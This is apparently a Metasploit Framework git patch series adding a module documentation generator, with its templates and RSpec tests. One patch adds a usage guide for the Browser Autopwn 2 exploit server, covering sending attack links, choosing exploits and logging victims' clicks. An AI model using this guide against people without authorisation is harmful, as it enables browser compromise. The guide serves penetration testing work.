[String] Git access token attr_accessor :git_access_token + + # Initializes Msf::Util::DocumenGenerator::PullRequestFinder + # + # @raise [PullRequestFinder::Exception] No GITHUB_OAUTH_TOKEN environment variable + # @return [void] def initialize unless ENV.has_key?('GITHUB_OAUTH_TOKEN') raise PullRequestFinder::Exception, 'GITHUB_OAUTH_TOKEN environment variable not set.' @@ -30,19 +44,36 @@ module Msf self.git_client = Octokit::Client.new(access_token: git_access_token) end + + # Returns pull requests associated with a particular Metasploit module. + # + # @param mod [Msf::Module] Metasploit module. + # @return [Hash] def search(mod) file_name = get_normalized_module_name(mod) commits = get_commits_from_file(file_name) get_pull_requests_from_commits(commits) end + private + + # Returns the normalized module full name. + # + # @param mod [Msf::Module] Metasploit module. + # @return [String] def get_normalized_module_name(mod) source_fname = mod.method(:initialize).source_location.first source_fname.scan(/(modules.+)/).flatten.first || '' end + + # Returns git commits for a particular file. + # + # @param path [String] File path. + # @raise [PullRequestFinder::Exception] No commits found. + # @return [Array] def get_commits_from_file(path) commits = git_client.commits(repository, branch, path: path) if commits.empty? @@ -53,6 +84,11 @@ module Msf commits end + + # Returns the author for the commit. + # + # @param commit [Sawyer::Resource] + # @return [String] def get_author(commit) if commit.author return commit.author[:login].to_s @@ -61,10 +97,20 @@ module Msf '' end + + # Checks whether the author should be skipped or not. + # + # @param commit [Sawyer::Resource] + # @return [Boolean] TrueClass if the author should be skipped, otherwise false. def is_author_blacklisted?(commit) ['tabassassin'].include?(get_author(commit)) end + + # Returns unique pull requests for a collection of commits. + # + # @param commits [Array] + # @return [Hash] def get_pull_requests_from_commits(commits) pull_requests = {} @@ -80,6 +126,11 @@ module Msf pull_requests end + + # Returns unique pull requests for a commit. + # + # @param commit [Sawyer::Resource] + # @return [Hash] def get_pull_request_from_commit(commit) sha = commit.sha url = URI.parse("https://github.com/#{repository}/branch_commits/#{sha}") @@ -106,4 +157,4 @@ module Msf end end -end \ No newline at end of file +end From f8d6a59cdc72ffa3bcbe1270276f3fb0a7bdfa22 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 18 Feb 2016 12:19:25 -0600 Subject: [PATCH 15/96] Change wording --- data/markdown_doc/post_demo_template.erb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/data/markdown_doc/post_demo_template.erb b/data/markdown_doc/post_demo_template.erb index 97a0c6d4b2..20239bbfe6 100644 --- a/data/markdown_doc/post_demo_template.erb +++ b/data/markdown_doc/post_demo_template.erb @@ -1,4 +1,4 @@ -There are two ways to execute a post module. +There are two ways to execute this post module. The first is by using the "run" command at the meterpreter prompt. It allows you to run the post module against that specific session: @@ -19,7 +19,7 @@ msf <%= mod.type %>(<%= mod.shortname %>) > set SESSION session-id msf <%= mod.type %>(<%= mod.shortname %>) > exploit ``` -If you wish to run the post against all sessions, here is how: +If you wish to run the post against all sessions from framework, here is how: 1 - Create the following resource script: From e5ad6fa78163afead464a9f6597689467a8d9900 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 18 Feb 2016 15:02:24 -0600 Subject: [PATCH 16/96] Support "knowledge base" --- data/markdown_doc/markdown.css | 15 +++++ lib/msf/util/document_generator.rb | 57 ++++++++----------- lib/msf/util/document_generator/normalizer.rb | 28 ++++----- 3 files changed, 51 insertions(+), 49 deletions(-) diff --git a/data/markdown_doc/markdown.css b/data/markdown_doc/markdown.css index 8bad383d05..bd4406fc63 100644 --- a/data/markdown_doc/markdown.css +++ b/data/markdown_doc/markdown.css @@ -116,6 +116,21 @@ pre code { margin:10px auto; } } +#basic_info_button, #knowledge_base_button { + font-family:Arial, sans-serif; + font-size:12px; + padding:10px 5px; + border-style:solid; + border-width:1px; + border-color:#ccc; + color:#333; +} +#basic_info_button:hover, #knowledge_base_button:hover { + cursor: pointer; +} +#knowledge_base { + display: none; +} /* diff --git a/lib/msf/util/document_generator.rb b/lib/msf/util/document_generator.rb index 9c6d66a118..cd17faacfc 100644 --- a/lib/msf/util/document_generator.rb +++ b/lib/msf/util/document_generator.rb @@ -17,19 +17,13 @@ module Msf # @param mod [Msf::Module] Module to create document for. # @return [void] def self.spawn_module_document(mod) - # By default, if there is a document already in the repository, then open that one. - manual_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md") + md = get_module_document(mod) + f = Rex::Quickfile.new(["#{mod.shortname}_doc", '.html']) + f.write(md) + f.close + kb_path = f.path - # No document in the repo, then we generate one on the fly. - unless File.exists?(manual_path) - md = get_module_document(mod) - f = Rex::Quickfile.new(["#{mod.shortname}_doc", '.html']) - f.write(md) - f.close - manual_path = f.path - end - - Rex::Compat.open_webrtc_browser("file://#{manual_path}") + Rex::Compat.open_webrtc_browser("file://#{kb_path}") end @@ -40,21 +34,21 @@ module Msf def self.get_module_document(mod) md = '' - # If there is a document already in the repository, then open that one. - manual_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md") + kb_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md") + kb = '' - if File.exists?(manual_path) - File.open(manual_path, 'rb') { |f| md = f.read } - else - begin - pr_finder = PullRequestFinder.new - pr = pr_finder.search(mod) - rescue PullRequestFinder::Exception => e - # This is a little weird, I guess, because the normalizer must handle two different - # data types. - pr = e - end - n = DocumentNormalizer.new + if File.exists?(kb_path) + File.open(kb_path, 'rb') { |f| kb = f.read } + end + + begin + pr_finder = PullRequestFinder.new + pr = pr_finder.search(mod) + rescue PullRequestFinder::Exception => e + pr = e + end + + n = DocumentNormalizer.new items = { mod_description: mod.description, mod_authors: mod.send(:module_info)['Author'], @@ -66,16 +60,13 @@ module Msf mod_platforms: mod.send(:module_info)['Platform'], mod_options: mod.options, mod_demo: mod - } + } - if mod.respond_to?(:targets) && mod.targets - items[:mod_targets] = mod.targets - end - - md = n.get_md_content(items) + if mod.respond_to?(:targets) && mod.targets + items[:mod_targets] = mod.targets end - md + n.get_md_content(items, kb) end end diff --git a/lib/msf/util/document_generator/normalizer.rb b/lib/msf/util/document_generator/normalizer.rb index ec20ac06ae..df82ad56fd 100644 --- a/lib/msf/util/document_generator/normalizer.rb +++ b/lib/msf/util/document_generator/normalizer.rb @@ -27,19 +27,21 @@ module Msf POST_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'post_demo_template.erb')) PAYLOAD_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'payload_demo_template.erb')) AUXILIARY_SCANNER_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'auxiliary_scanner_template.erb')) + HTML_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'html_template.erb')) # Returns the module document in HTML form. # # @param items [Hash] Items to be documented. + # @param kb [String] Additional information to be added in the doc. # @return [String] HTML. - def get_md_content(items) + def get_md_content(items, kb) @md_template ||= lambda { template = '' File.open(TEMPLATE_PATH, 'rb') { |f| template = f.read } return template }.call - md_to_html(ERB.new(@md_template).result(binding())) + md_to_html(ERB.new(@md_template).result(binding()), kb) end @@ -61,21 +63,15 @@ module Msf # Returns the HTML document. # # @param md [String] Markdown document. + # @param kb [String] Additional information to add. # @return [String] HTML document. - def md_to_html(md) - r = Redcarpet::Markdown.new(Redcarpet::Render::MsfMdHTML, fenced_code_blocks: true) - %Q| - - - - - - #{r.render(md)} - - - | + def md_to_html(md, kb) + r = Redcarpet::Markdown.new(Redcarpet::Render::MsfMdHTML, fenced_code_blocks: true) + ERB.new(@html_template ||= lambda { + html_template = '' + File.open(HTML_TEMPLATE, 'rb') { |f| html_template = f.read } + return html_template + }.call).result(binding()) end From 3beaeceb0e1a5b6d037e7659b83727475c529577 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 18 Feb 2016 15:19:39 -0600 Subject: [PATCH 17/96] Special-case bap2 --- lib/msf/util/document_generator/normalizer.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/util/document_generator/normalizer.rb b/lib/msf/util/document_generator/normalizer.rb index df82ad56fd..b041d6df2c 100644 --- a/lib/msf/util/document_generator/normalizer.rb +++ b/lib/msf/util/document_generator/normalizer.rb @@ -195,7 +195,7 @@ module Msf # @param mod [Msf::Module] Metasploit module. # @return [String] def normalize_demo_output(mod) - if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) + if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) && mod.shortname != 'browser_autopwn2' load_template(mod, BES_DEMO_TEMPLATE) elsif mod.kind_of?(Msf::Exploit::Remote::HttpServer) load_template(mod, HTTPSERVER_DEMO_TEMPLATE) From 3f3b76bc86a8cb4e0b4230bb06c4bc8488804f82 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 18 Feb 2016 15:39:38 -0600 Subject: [PATCH 18/96] Add example md for BAP2 --- .../auxiliary/server/browser_autopwn2.md | 164 ++++++++++++++++++ 1 file changed, 164 insertions(+) create mode 100644 documentation/modules/auxiliary/server/browser_autopwn2.md diff --git a/documentation/modules/auxiliary/server/browser_autopwn2.md b/documentation/modules/auxiliary/server/browser_autopwn2.md new file mode 100644 index 0000000000..1c6eda26f3 --- /dev/null +++ b/documentation/modules/auxiliary/server/browser_autopwn2.md @@ -0,0 +1,164 @@ +Browser Autopwn 2 is a complete redesign from the first one, so quite a few things will look and +feel different for you. Here are the features you should know about before using. + +## Exploit URLs + +Normally, the only URL you need to care about is the **BrowserAutoPwn URL**. This is the URL +you should send to the targets you wish to attack. + +For debugging purposes, you can also see each browser exploit's specific URL path. You can do so +by setting the VERBOSE option to true in msfconsole, like this: + +``` +set VERBOSE true +``` + +And then when you run the module, there will be a list showing all the exploits that might be +used, including the URLs. + +## Browser Autopwn 2 Options + +**The HTMLContent Option** + +The HTMLContent option allows you to serve a basic HTML web page to the browser instead of having a +blank one. It supports two syntaxes. + +This example will basically print "Hello world!" on the browser while exploits are tested against +it. + +``` +set HTMLContent Hello world! +``` + +This example will load file /tmp/hello_world.html and that's what the browser will see. Most likely +the second syntax is how you'd want to use the Content option. + +Keep in mind that you should probably try to keep HTMLContent as simple as possible, otherwise +there is a possibility that it might actually influence the reliability of the exploits, especially +the ones that do memory corruption. + +**The EXCLUDE_PATTERN option** + +The EXCLUDE_PATTERN option is used for excluding exploit file names you don't want Browser +Autopwn 2 to use. This is a regex type option, you can be creative about this. + +For example, Adobe Flash exploits in Metasploit tend to have the same file name that begins with: +"adobe_flash_", so to exclude those, you can do: + +``` +set EXCLUDE_PATTERN adobe_flash +``` + +**The INCLUDE_PATTERN option** + +The INCLUDE_PATTERN option is for loading specific exploits that you want Browser Autopwn 2 to use. +Let's reuse the Adobe Flash file name example, if you only want Flash exploits, you can do: + +``` +set INCLUDE_PATTERN adobe_flash +``` + +If you set both INCLUDE_PATTERN and EXCLUDE_PATTERN, the evaluation for INCLUDE_PATTERN will kick +in first, followed by EXCLUDE_PATTERN. + +**The MaxExploitCount option** + +The MaxExploitCount option is for specifying how many exploits you want Browser Autopwn 2 to load. +By default, it's 21. But you can try to bump it up a little bit if you wish to try more exploits. +Note that by doing so you are also allowing more lower ranking modules to kick in, you will have +to figure out the sweet spot for it. An example of setting it: + +``` +set MaxExploitCount 30 +``` + +**The MaxSessionCount option** + +The MaxSessionCount option is for limiting how many sessions to get. It may sound a little odd at +first because why would you want to do that, right? Well, a use case for this is when you don't +actually want to pop shells, instead you just want to know what exploits could be used, this is +something you can try. You can also use this if you don't want your attack to stay open the whole +time: + +``` +set MaxSessionCount 10 +``` + +**The ShowExploitList option** + +The ShowExploitList option means displaying a list of exploits specific to each browser/client. +As we've explained before, when BAP2 loads 21 exploits, probably not all 21 will be served to +the browser, only some of them. In order to see those ones, you need to set this option: + +``` +set ShowExploitList true +``` + +**The AllowedAddresses option** + +The AllowedAddresses option is for attacking a specific range of IPs as a way to avoid penetration +testing accidents. For example, when you send a malicious link to a specific person, that person +may actually share it with his friends, family or other people, and those people aren't your +targets so you shouldn't hit them. Well, Browser Autopwn doesn't know that, so one of the ways to +avoid that is to create a whitelist. + +The option also supports two syntaxes. This is most likely how you will set it: + +``` +set AllowedAddresses file:///tmp/ip_list.txt +``` + +The above will load file ip_list.txt. In that file, one IP per line. + + +**The ExploitReloadTimeout option** + +The ExploitReloadTimeout is for setting how long BAP2 should wait before loading the next exploit. +By default, it's 3 seconds, but in case some exploits need more time (for example, longer time to +groom the heap, load other things, or it's doing a sleep somewhere), you will need to set this. +In most cases, you shouldn't have to. + +Here's an example of setting it to 5 seconds: + +``` +set ExploitReloadTimeout 5000 +``` + +## Application-Specific Testing + +By default, Browser Autopwn 2 goes through the entire exploit module tree, and will try to use +different types of exploits - Firefox, Internet Explorer, Adobe Flash, Android, etc. If you want to +test a specific application, basically all you need to do is setting the +INCLUDE_PATTERN option (or maybe EXCLUDE_PATTERN). + +However, there is another trick to make this task even easier. BAP2 also comes with the following +resource scripts that can automatically do this: + +* bap_firefox_only.rc - For testing Firefox +* bap_flash_only.rc - Fore testing Adobe Flash +* bap_ie_only.rc - For testing Internet Explorer + +Here's an example of using bap_flash_only.rc to test Adobe Flash vulnerabilities: + +``` +$ ./msfconsole -q -r scripts/resource/bap_flash_only.rc +``` + +## Logging + +In addition, when a browser connects to BAP, this link-clicking event is also logged to the +database as a "bap.clicks" note type. If the ShowExploitList option is set to true, that will also +save the exploit list information so that after testing you can go back to the database and see +which users are vulnerable to what exploits. + +Even if you don't set the ShowExploitList option, the logged link-clicking event data is more than +enough to prove that the user was social-engineered, which is still a security risk. + +To see all the bap.clicks events, in msfconsole do: + +``` +notes -t bap.clicks +``` + +From there, you can do additional analysis of these notes, put it on your report, and hopefully +do something about it. From 56c2ba9f75a108cf613c2b416a538f3a6e2e8cfc Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 18 Feb 2016 15:41:14 -0600 Subject: [PATCH 19/96] Turn the HTML template into external --- data/markdown_doc/html_template.erb | 42 +++++++++++++++++++++++++++++ 1 file changed, 42 insertions(+) create mode 100644 data/markdown_doc/html_template.erb diff --git a/data/markdown_doc/html_template.erb b/data/markdown_doc/html_template.erb new file mode 100644 index 0000000000..2726efcdd8 --- /dev/null +++ b/data/markdown_doc/html_template.erb @@ -0,0 +1,42 @@ + + +<% unless kb.empty? %> + +<% end %> + + + +<% unless kb.empty? %> + + + + +
+
Basic Information +
+
Knowledge Base +
+

+<% end %> +
+<%= r.render(md) %> +
+<% unless kb.empty? %> +
+<%= r.render(kb) %> +<% end %> +
+ + \ No newline at end of file From 4c716a268dfa00f748061a6093c4be9fb63bd0f9 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 18 Feb 2016 16:11:34 -0600 Subject: [PATCH 20/96] Set some flags --- lib/msf/util/document_generator/normalizer.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/util/document_generator/normalizer.rb b/lib/msf/util/document_generator/normalizer.rb index b041d6df2c..9bc7c8d006 100644 --- a/lib/msf/util/document_generator/normalizer.rb +++ b/lib/msf/util/document_generator/normalizer.rb @@ -66,7 +66,7 @@ module Msf # @param kb [String] Additional information to add. # @return [String] HTML document. def md_to_html(md, kb) - r = Redcarpet::Markdown.new(Redcarpet::Render::MsfMdHTML, fenced_code_blocks: true) + r = Redcarpet::Markdown.new(Redcarpet::Render::MsfMdHTML, fenced_code_blocks: true, no_intra_emphasis: true, escape_html: true) ERB.new(@html_template ||= lambda { html_template = '' File.open(HTML_TEMPLATE, 'rb') { |f| html_template = f.read } @@ -81,7 +81,7 @@ module Msf # @return [String] def normalize_pull_requests(pull_requests) if pull_requests.kind_of?(PullRequestFinder::Exception) - error = Rex::Text.html_encode(pull_requests.message) + error = pull_requests.message return error end @@ -130,7 +130,7 @@ module Msf if authors.kind_of?(Array) authors.collect { |a| "* #{Rex::Text.html_encode(a)}" } * "\n" else - Rex::Text.html_encode(authors) + authors end end From 4fc7008561f38370d6f58d8dd136f4916b350c15 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 18 Feb 2016 16:12:27 -0600 Subject: [PATCH 21/96] Close div properly --- data/markdown_doc/html_template.erb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/data/markdown_doc/html_template.erb b/data/markdown_doc/html_template.erb index 2726efcdd8..e115d419f4 100644 --- a/data/markdown_doc/html_template.erb +++ b/data/markdown_doc/html_template.erb @@ -36,7 +36,7 @@ <% unless kb.empty? %>
<%= r.render(kb) %> -<% end %>
+<% end %> \ No newline at end of file From 7444a0ff042dd6a3e41f3fb9984b2f3cc5e14315 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 18 Feb 2016 17:59:45 -0600 Subject: [PATCH 22/96] Make it more obvious which tab the user is viewing --- data/markdown_doc/html_template.erb | 14 +++++++++++++- data/markdown_doc/markdown.css | 11 ++++++++++- 2 files changed, 23 insertions(+), 2 deletions(-) diff --git a/data/markdown_doc/html_template.erb b/data/markdown_doc/html_template.erb index e115d419f4..7914b4e6b6 100644 --- a/data/markdown_doc/html_template.erb +++ b/data/markdown_doc/html_template.erb @@ -3,11 +3,23 @@ <% unless kb.empty? %> @@ -34,7 +34,7 @@
-
Basic Information +
Overview
Knowledge Base @@ -42,7 +42,7 @@

<% end %> -
+
<%= r.render(md) %>
<% unless kb.empty? %> diff --git a/data/markdown_doc/markdown.css b/data/markdown_doc/markdown.css index eb87b1588a..d5323c73bb 100644 --- a/data/markdown_doc/markdown.css +++ b/data/markdown_doc/markdown.css @@ -116,7 +116,7 @@ pre code { margin:10px auto; } } -#basic_info_button { +#overview_info_button { font-family:Arial, sans-serif; font-size:12px; padding:10px 5px; @@ -134,12 +134,20 @@ pre code { border-color:#EEEEEE; color:#C4C4C4; } -#basic_info_button:hover, #knowledge_base_button:hover { +#overview_info_button:hover, #knowledge_base_button:hover { cursor: pointer; } #knowledge_base { display: none; } +#long_list { + height:280px; + overflow:auto; + border-style: solid; + border-width: 1px; + border-color: #ccc; + padding: 5px; +} /* diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 64c81f1f19..01a12813b7 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -774,6 +774,7 @@ class Core if dump_json print(Serializer::Json.dump_module(active_module) + "\n") elsif show_doc + print_status("Please wait, generating documentation for #{active_module.shortname}") Msf::Util::DocumentGenerator.spawn_module_document(active_module) else print(Serializer::ReadableText.dump_module(active_module)) @@ -796,6 +797,7 @@ class Core elsif dump_json print(Serializer::Json.dump_module(mod) + "\n") elsif show_doc + print_status("Please wait, generating documentation for #{mod.shortname}") Msf::Util::DocumentGenerator.get_module_document(mod) else print(Serializer::ReadableText.dump_module(mod)) diff --git a/lib/msf/util/document_generator/normalizer.rb b/lib/msf/util/document_generator/normalizer.rb index 9bc7c8d006..fffea0ed53 100644 --- a/lib/msf/util/document_generator/normalizer.rb +++ b/lib/msf/util/document_generator/normalizer.rb @@ -4,11 +4,22 @@ require 'erb' module Redcarpet module Render class MsfMdHTML < Redcarpet::Render::HTML + def block_code(code, language) "
" \
           "#{code}" \
         "
" end + + + def list(content, list_type) + if list_type == :unordered && content.scan(/
  • /).flatten.length > 15 + %Q|

      #{content}

      | + else + %Q|
        #{content}
      | + end + end + end end end @@ -82,6 +93,12 @@ module Msf def normalize_pull_requests(pull_requests) if pull_requests.kind_of?(PullRequestFinder::Exception) error = pull_requests.message + case error + when /GITHUB_OAUTH_TOKEN/i + error << " [See how](" + error << "https://help.github.com/articles/creating-an-access-token-for-command-line-use/" + error << ")" + end return error end diff --git a/lib/msf/util/document_generator/pull_request_finder.rb b/lib/msf/util/document_generator/pull_request_finder.rb index ea2ca57367..484ddf7c18 100644 --- a/lib/msf/util/document_generator/pull_request_finder.rb +++ b/lib/msf/util/document_generator/pull_request_finder.rb @@ -34,6 +34,7 @@ module Msf # @return [void] def initialize unless ENV.has_key?('GITHUB_OAUTH_TOKEN') + msg = '' raise PullRequestFinder::Exception, 'GITHUB_OAUTH_TOKEN environment variable not set.' end From 753e0f769322dd87ef923447e69eb13511ca6984 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 23 Feb 2016 15:34:34 -0600 Subject: [PATCH 25/96] Add rspec for Msf::Util::DocumentGenerator::DocumentNormalizer --- .../document_generator/normalizer_spec.rb | 251 ++++++++++++++++++ 1 file changed, 251 insertions(+) create mode 100644 spec/lib/msf/util/document_generator/normalizer_spec.rb diff --git a/spec/lib/msf/util/document_generator/normalizer_spec.rb b/spec/lib/msf/util/document_generator/normalizer_spec.rb new file mode 100644 index 0000000000..8c8c65394f --- /dev/null +++ b/spec/lib/msf/util/document_generator/normalizer_spec.rb @@ -0,0 +1,251 @@ +require 'rex' +require 'msf/util/document_generator' +require 'msf/util/document_generator/pull_request_finder' + +RSpec.describe Msf::Util::DocumentGenerator::DocumentNormalizer do + + let(:mod_description) { 'MS08-067 netapi double' } + let(:mod_authors) { [ 'sinn3r' ] } + let(:mod_fullname) { 'exploit/windows/smb/ms08_067_netapi' } + let(:mod_shortname) { 'ms08_067_netapi' } + let(:mod_name) { 'MS08-067' } + let(:mod_pull_requests) { good_pull_requests } + let(:mod_refs) { ['URL', 'http://example.com'] } + let(:mod_platforms) { 'win' } + let(:mod_options) { { 'RHOST' => rhost_option } } + let(:mod_normal_rank) { 300 } + let(:mod_type) { 'exploit' } + + let(:good_pull_requests) do + { + '1234' => { title: 'Merged Pull Request' } + } + end + + let(:mod_targets) do + target = double('target') + allow(target).to receive(:name).and_return('Automatic') + [target] + end + + let(:bad_pull_requests) do + exp = Msf::Util::DocumentGenerator::PullRequestFinder::Exception.new + allow(exp).to receive(:message).and_return('GITHUB_OAUTH_TOKEN') + exp + end + + let(:rhost_option) do + owner = double('Msf::Exploit::Remote::SMB::Client') + option = double('Msf::OptAddress') + allow(option).to receive(:name).and_return('RHOST') + allow(option).to receive(:advanced).and_return(false) + allow(option).to receive(:evasion).and_return(false) + allow(option).to receive(:required).and_return(true) + allow(option).to receive(:desc).and_return('The target address') + allow(option).to receive(:default).and_return(nil) + allow(option).to receive(:owner).and_return(owner) + option + end + + let(:msf_mod) do + mod = double('Msf::Module') + mod_info = { 'Author' => mod_authors, 'Platform' => mod_platforms } + allow(mod).to receive(:description).and_return(mod_description) + allow(mod).to receive(:module_info).and_return(mod_info) + allow(mod).to receive(:fullname).and_return(mod_fullname) + allow(mod).to receive(:name).and_return(mod_name) + allow(mod).to receive(:references).and_return(mod_refs) + allow(mod).to receive(:platforms).and_return(mod_platforms) + allow(mod).to receive(:authors).and_return(mod_authors) + allow(mod).to receive(:rank).and_return(mod_normal_rank) + allow(mod).to receive(:options).and_return(mod_options) + allow(mod).to receive(:type).and_return(mod_type) + allow(mod).to receive(:shortname).and_return(mod_shortname) + allow(mod).to receive(:targets).and_return(mod_targets) + mod + end + + + subject do + described_class.new + end + + describe '#get_md_content' do + context 'when metadata is given' do + it 'returns the documentation in HTML' do + items = { + mod_description: msf_mod.description, + mod_authors: msf_mod.send(:module_info)['Author'], + mod_fullname: msf_mod.fullname, + mod_name: msf_mod.name, + mod_pull_requests: good_pull_requests, + mod_refs: msf_mod.references, + mod_rank: msf_mod.rank, + mod_platforms: msf_mod.send(:module_info)['Platform'], + mod_options: msf_mod.options, + mod_demo: msf_mod + } + expect(subject.get_md_content(items, '')).to include('') + end + end + end + + describe '#load_css' do + it 'loads CSS from file' do + expect(subject.send(:load_css)).to include('color: #0069d6') + end + end + + describe '#md_to_html' do + let(:md) do + %Q|# Hello world!| + end + + context 'when a markdown file is given' do + it 'returns the documentation in HTML' do + expect(subject.send(:md_to_html, md, '')).to include('

      Hello world!

      ') + end + end + end + + describe 'normalize_pull_requests' do + context 'when a hash of pull requests are given' do + it 'returns HTML links' do + expect(subject.send(:normalize_pull_requests, good_pull_requests)).to include('* generate') + end + end + + context 'when the module is a kind of Msf::Auxiliary::Scanner' do + it 'returns the demo of AUXILIARY_SCANNER_TEMPLATE' do + template = Msf::Util::DocumentGenerator::DocumentNormalizer::AUXILIARY_SCANNER_TEMPLATE + expect(subject.send(:load_template, msf_mod, template)).to include('This module is a scanner module') + end + end + + context 'when the module does not have a known kind' do + it 'returns the demo of GENERIC_DEMO_TEMPLATE' do + template = Msf::Util::DocumentGenerator::DocumentNormalizer::GENERIC_DEMO_TEMPLATE + expect(subject.send(:load_template, msf_mod, template)).to include('msf exploit') + end + end + end + +end From 814d53aee040054a914265f410b8cc518784e81b Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 24 Feb 2016 15:13:04 -0600 Subject: [PATCH 26/96] Add rspec for Msf::Util::DocumentGenerator::PullrequestFinder --- .../pull_request_finder_spec.rb | 161 ++++++++++++++++++ 1 file changed, 161 insertions(+) create mode 100644 spec/lib/msf/util/document_generator/pull_request_finder_spec.rb diff --git a/spec/lib/msf/util/document_generator/pull_request_finder_spec.rb b/spec/lib/msf/util/document_generator/pull_request_finder_spec.rb new file mode 100644 index 0000000000..7c224831b6 --- /dev/null +++ b/spec/lib/msf/util/document_generator/pull_request_finder_spec.rb @@ -0,0 +1,161 @@ +require 'rex' +require 'msf/util/document_generator' +require 'octokit' +require 'net/http' + +RSpec.describe Msf::Util::DocumentGenerator::PullRequestFinder do + + let(:author_name) { 'name' } + + let(:commit) do + c = double('commit') + allow(c).to receive(:author).and_return({author: author_name, login: author_name}) + allow(c).to receive(:sha).and_return('sha') + c + end + + let(:commits) do + [ commit ] + end + + let(:pr_num) { '5486' } + + let(:html) do + %Q| + + + +
    • (##{pr_num})
    • + + + | + end + + subject do + obj = described_class.new + obj.git_access_token = 'GITHUB_AUTH_TOKEN' + + octo = Octokit::Client.new + allow(octo).to receive(:commits).and_return(commits) + allow(obj).to receive(:git_client).and_return(octo) + obj + end + + let(:http_response) do + req = double('HttpResponse') + allow(req).to receive(:body).and_return(html) + req + end + + let(:module_name) { 'modules/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb' } + + let(:msf_mod) do + mod = double('Msf::Module') + init = double('Msf::Module#initialize') + allow(init).to receive(:source_location).and_return([ module_name ]) + allow(mod).to receive(:method).with(any_args).and_return(init) + mod + end + + before(:each) do + allow_any_instance_of(Net::HTTP).to receive(:request).with(any_args).and_return(http_response) + end + + describe '#initialize' do + it 'sets the owner property' do + expect(subject.owner).to eq('rapid7') + end + + it 'sets the repository' do + expect(subject.repository).to eq('rapid7/metasploit-framework') + end + + it 'sets the branch' do + expect(subject.branch).to eq('master') + end + + it 'sets the git access token' do + subject1 = described_class.new + subject1.git_access_token = 'FAKE KEY' + subject2 = described_class.new + expect(subject2.git_access_token).not_to eq(subject1.git_access_token) + end + + it 'sets Octokit::Client' do + expect(subject.git_client).to be_kind_of(Octokit::Client) + end + end + + describe '#search' do + context 'when a module is given' do + it 'returns a hash of pull requests' do + result = subject.search(msf_mod) + expect(result).to be_kind_of(Hash) + expect(result.keys.first).to eq(pr_num) + expect(result.first[1][:number]).to eq(pr_num) + expect(result.first[1][:title]).to include('Merged Pull Request') + end + end + end + + describe '#get_normalized_module_name' do + context 'when a module is given' do + it 'returns the module name' do + expect(subject.send(:get_normalized_module_name, msf_mod)).to eq(module_name) + end + end + end + + describe '#get_commits_from_file' do + context 'when a module path is given' do + it 'returns commits' do + expect(subject.send(:get_commits_from_file, module_name)).to eq(commits) + end + end + end + + describe '#get_author' do + context 'when a commit is given' do + it 'returns the author name' do + expect(subject.send(:get_author, commit)).to eq(author_name) + end + end + end + + describe '#is_author_blacklisted?' do + context 'when a commit authored by tabassassin is given' do + it 'returns true' do + c = double('commit') + allow(c).to receive(:author).and_return({author: 'tabassassin', login: 'tabassassin'}) + expect(subject.send(:is_author_blacklisted?, c)).to be_truthy + end + end + + context 'when a commit authored by a human is given' do + it 'returns false' do + expect(subject.send(:is_author_blacklisted?, commit)).to be_falsey + end + end + end + + describe '#get_pull_requests_from_commits' do + context 'when commits are given' do + it 'returns pull requests' do + pr = subject.send(:get_pull_requests_from_commits, commits) + expect(pr).to be_kind_of(Hash) + expect(pr.keys.first).to eq(pr_num) + end + end + end + + describe '#get_pull_request_from_commit' do + context 'when a commit is given' do + it 'returns a pull request' do + pr = subject.send(:get_pull_request_from_commit, commit) + expect(pr).to be_kind_of(Hash) + expect(pr[:number]).to eq(pr_num) + end + end + end + +end From 3125c99e45307b51cbd1317092dd071a722c20e3 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 24 Feb 2016 15:17:18 -0600 Subject: [PATCH 27/96] Remove this fake doc --- .../exploit/windows/browser/ms14_064_ole_code_execution.md | 1 - 1 file changed, 1 deletion(-) delete mode 100644 documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md diff --git a/documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md b/documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md deleted file mode 100644 index 70a58ea7ff..0000000000 --- a/documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md +++ /dev/null @@ -1 +0,0 @@ -# KEEP CALM AND EAT A COOKIE \ No newline at end of file From 58ad2175b8c2871c5a45e2a6a58e09f13857b815 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 24 Feb 2016 18:57:40 -0600 Subject: [PATCH 28/96] Raise when no network connection --- lib/msf/util/document_generator/pull_request_finder.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/msf/util/document_generator/pull_request_finder.rb b/lib/msf/util/document_generator/pull_request_finder.rb index 484ddf7c18..d509df88bf 100644 --- a/lib/msf/util/document_generator/pull_request_finder.rb +++ 